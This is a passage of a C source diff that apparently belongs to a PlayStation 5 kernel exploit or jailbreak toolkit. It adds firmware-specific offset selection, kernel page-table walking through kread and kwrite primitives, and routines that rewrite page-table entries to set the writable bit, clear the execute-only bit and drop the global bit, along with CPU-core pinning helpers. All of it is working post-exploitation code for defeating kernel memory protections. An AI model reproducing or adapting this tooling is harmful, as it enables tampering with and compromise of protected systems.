off_0320;+ break;+ case 0x0321:+ env_offset = off_0321;+ break;+ case 0x0400:+ env_offset = off_0400;+ break;+ case 0x0402:+ env_offset = off_0402;+ break;+ case 0x0403:+ env_offset = off_0403;+ break;+ case 0x0450:+ env_offset = off_0450;+ break;+ case 0x0451:+ env_offset = off_0451;+ break;+ default:+ return -1;+ }+ return 0;+}++int init_global_vars(void) {+ ktext = KERNEL_ADDRESS_TEXT_BASE;+ kdata = KERNEL_ADDRESS_DATA_BASE;++ flat_pmap kernel_pmap;+ kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap));+ if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0)+ return -1;++ cr3 = kernel_pmap.pm_cr3;+ dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3;++ return 0;+}++uint64_t get_offset_va(uint64_t offset) { return ktext + offset; }++uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); }++uint64_t getpmap(uint64_t proc) {+ uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE);+ uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP);+ return vm_pmap;+}++// for ring3+uint64_t va_to_pa_user(uint64_t va) {+ uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));+ uintptr_t self_pml4 = get_pml4(self_pmap);+ uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF);+ return pa;+}++// for ring0+uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); }++// Source: PS5_kldload+uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {++ uint64_t table_phys = cr3_custom & 0xFFFFFFFF;++ for (int level = 0; level < 4; level++) {+ int shift = 39 - (level * 9);+ uint64_t idx = (va >> shift) & 0x1FF;+ uint64_t entry;+ uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;++ kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry));++ if (!PAGE_P(entry))+ return 0;++ if ((level == 1 || level == 2) && PAGE_PS(entry)) {+ uint64_t page_size = P_SIZE(level);+ return PAGE_PA(entry) | (va & (page_size - 1));+ }++ if (level == 3)+ return PAGE_PA(entry) | (va & 0xFFF);++ table_phys = PAGE_PA(entry);+ }+ return 0;+}++uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; }++// Set RW bit on all levels if needed and remove eXecute Only bit+void page_chain_set_rw(uint64_t va) {++ uint64_t table_phys = cr3;++ for (int level = 0; level < 4; level++) {+ int shift = 39 - (level * 9);+ uint64_t idx = (va >> shift) & 0x1FF;+ uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;+ uint64_t entry;++ // Read Level X entry+ kread(entry_va, &entry, sizeof(entry));++ if (!PAGE_P(entry))+ return;++ uint8_t update = 0;+ // Set RW bit on this level+ if (!PAGE_RW(entry)) {+ PAGE_SET_RW(entry);+ update = 1;+ }+ // Unset XO on this level+ if (PAGE_XO(entry)) {+ PAGE_CLEAR_XO(entry);+ update = 1;+ }+ if (update) {+ kwrite(entry_va, &entry, sizeof(entry));+ }++ if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) {+ return;+ }++ table_phys = PAGE_PA(entry);+ }+ return;+}++// Remove Global bit on last level+uint64_t page_remove_global(uint64_t va) {++ uint64_t table_phys = cr3;++ for (int level = 0; level < 4; level++) {+ int shift = 39 - (level * 9);+ uint64_t idx = (va >> shift) & 0x1FF;+ uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;+ uint64_t entry;++ // Read Level X entry+ kread(entry_va, &entry, sizeof(entry));++ if (!PAGE_P(entry))+ return 0;++ if ((level == 1 || level == 2) && PAGE_PS(entry)) {+ PAGE_CLEAR_G(entry);+ kwrite(entry_va, &entry, sizeof(entry));++ uint64_t page_size = P_SIZE(level);+ return PAGE_PA(entry) | (va & (page_size - 1));+ }++ if (level == 3) {++ PAGE_CLEAR_G(entry);+ kwrite(entry_va, &entry, sizeof(entry));++ return PAGE_PA(entry) | (va & 0xFFF);+ }++ table_phys = PAGE_PA(entry);+ }+ return 0;+}++int pin_to_core(int n) {+ uint64_t m[2] = {0};+ m[0] = (1 << n);+ return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);+}++int pin_to_first_available_core(void) {+ for (int i = 0; i < 16; i++)+ if (pin_to_core(i) == 0)+ return i;+ return -1;+}++void unpin(void) {+ uint64_t m[2] = {0xFFFF, 0};+ cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);+}\ No newline at end of file